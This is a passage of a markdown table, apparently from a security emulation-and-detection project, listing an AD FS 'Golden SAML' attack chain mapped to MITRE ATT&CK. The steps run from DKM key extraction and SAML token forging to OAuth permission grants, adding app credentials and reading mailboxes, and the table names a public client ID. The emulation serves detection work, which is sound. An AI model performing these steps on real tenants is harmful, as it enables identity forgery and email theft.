| 2 | [Credential Access](https://attack.mitre.org/tactics/TA0006/) | [Unsecured Credentials](https://attack.mitre.org/techniques/T1552) | [Export AD FS DKM Master Key via LDAP queries](../../3_simulate_detect/credential-access/exportADFSDKMMasterKeyLDAP.md) | Extract the AD FS DKM master key value from the Domain Controller and use it to decrypt AD FS certificates. |
|
||||
| 3 | [Credential Access](https://attack.mitre.org/tactics/TA0006/) | [Unsecured Credentials: Private Keys](https://attack.mitre.org/techniques/T1552/004/) | [Export ADFS Certificates with DKM key](../../3_simulate_detect/credential-access/exportADFSCertificatesWithDKMKey.md) | Use the AD FS DKM master key to derive a symmetric key and decrypt AD FS certificates. |
|
||||
| 4 | [Credential Access](https://attack.mitre.org/tactics/TA0006/) | [Forge Web Credentials: SAML Tokens](https://attack.mitre.org/techniques/T1606/002/) | [Forge SAML Token](../../3_simulate_detect/credential-access/signSAMLToken.md) | Use the stolen AD FS token signing certificate and sign a new SAML token to impersonate a privileged user that could also access resources in Azure. |
|
||||
| 5 | [Persistence](https://attack.mitre.org/tactics/TA0003/) <br> [Defense Evasion](https://attack.mitre.org/tactics/TA0005/) <br> [Privilege Escalation](https://attack.mitre.org/tactics/TA0004/) | [Valid Accounts: Cloud Accounts](https://attack.mitre.org/techniques/T1078/004/) | [Request OAuth Access Token with SAML Assertion](../../3_simulate_detect/persistence/getOAuthTokenWithSAMLAssertion.md) | Get an OAuth access token for the Microsoft Graph API using the public `Azure Active Directory PowerShell application` as a client. <br> Use the Following information while running this step: <br> <ul><li>Client ID: `1b730954-1685-4b74-9bfd-dac224a7b894` (Azure AD PowerShell Application ID)</li><li>Scope: `https://graph.microsoft.com/.default`</li></ul> |
|
||||
| 6 | [Persistence](https://attack.mitre.org/tactics/TA0003/) | [Account Manipulation: Exchange Email Delegate Permissions](https://attack.mitre.org/techniques/T1098/002/) | [Update Application OAuth Permissions Scopes](../../3_simulate_detect/persistence/updateAppOAuthPermissionScopes.md) <br><br> [Grant OAuth Permissions to Application](../../3_simulate_detect/persistence/updateAppDelegatedPermissionGrant.md) | Next, use the OAuth token to call the Microsoft Graph API and simulate an adversary granting delegated `Mail.ReadWrite` permissions to an Azure AD application. Usually, a threat actor would prefer to use an existing application that already has the desired permissions granted. However, in this step, we simulate a threat actor updating the `Required Resource Access` property of an application and updating the `OAuthPermissionGrant` of an OAuth application to grant new delegated permissions. |
|
||||
| 7 | [Persistence]() | [Account Manipulation: Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001/) | [Add credentials to OAuth Application](../../3_simulate_detect/persistence/addCredentialsToApplication.md) | Add new credentials to the compromised OAuth application using the same OAuth access token and via the Microsoft Graph API. We can then use those credentials to sign in to the application on behalf of the impersonated user. |
|
||||
| 8 | [Persistence](https://attack.mitre.org/tactics/TA0003/) <br> [Defense Evasion](https://attack.mitre.org/tactics/TA0005/) <br> [Privilege Escalation](https://attack.mitre.org/tactics/TA0004/) | [Valid Accounts: Cloud Accounts](https://attack.mitre.org/techniques/T1078/004/) | [Request OAuth Access Token with SAML Assertion](../../3_simulate_detect/persistence/getOAuthTokenWithSAMLAssertion.md) | Get an OAuth access token for the Microsoft Graph API, but this time using the compromised application as a client. You must use the new credentials (`secret text`) added to it in the previous step. <br> Use the following information while running this step: <br> <ul><li>Client ID: `id-of-compromised-application`</li><li>Scope: `https://graph.microsoft.com/.default`</li><li>Client Secret: `xxxx`</li></ul> |
|
||||
| 9 | [Collection](https://attack.mitre.org/tactics/TA0009/) | [Email Collection](https://attack.mitre.org/techniques/T1114/) | [Access account mailbox via Graph API](../../3_simulate_detect/collection/mailAccessDelegatedPermissions.md) | Use the new OAuth access token to call the Microsoft Graph API and read mail from the mailbox of the signed-in user. |
|
||||
|
|
Двоичный файл не отображается.
После Ширина: | Высота: | Размер: 151 KiB |
Загрузка…
Ссылка в новой задаче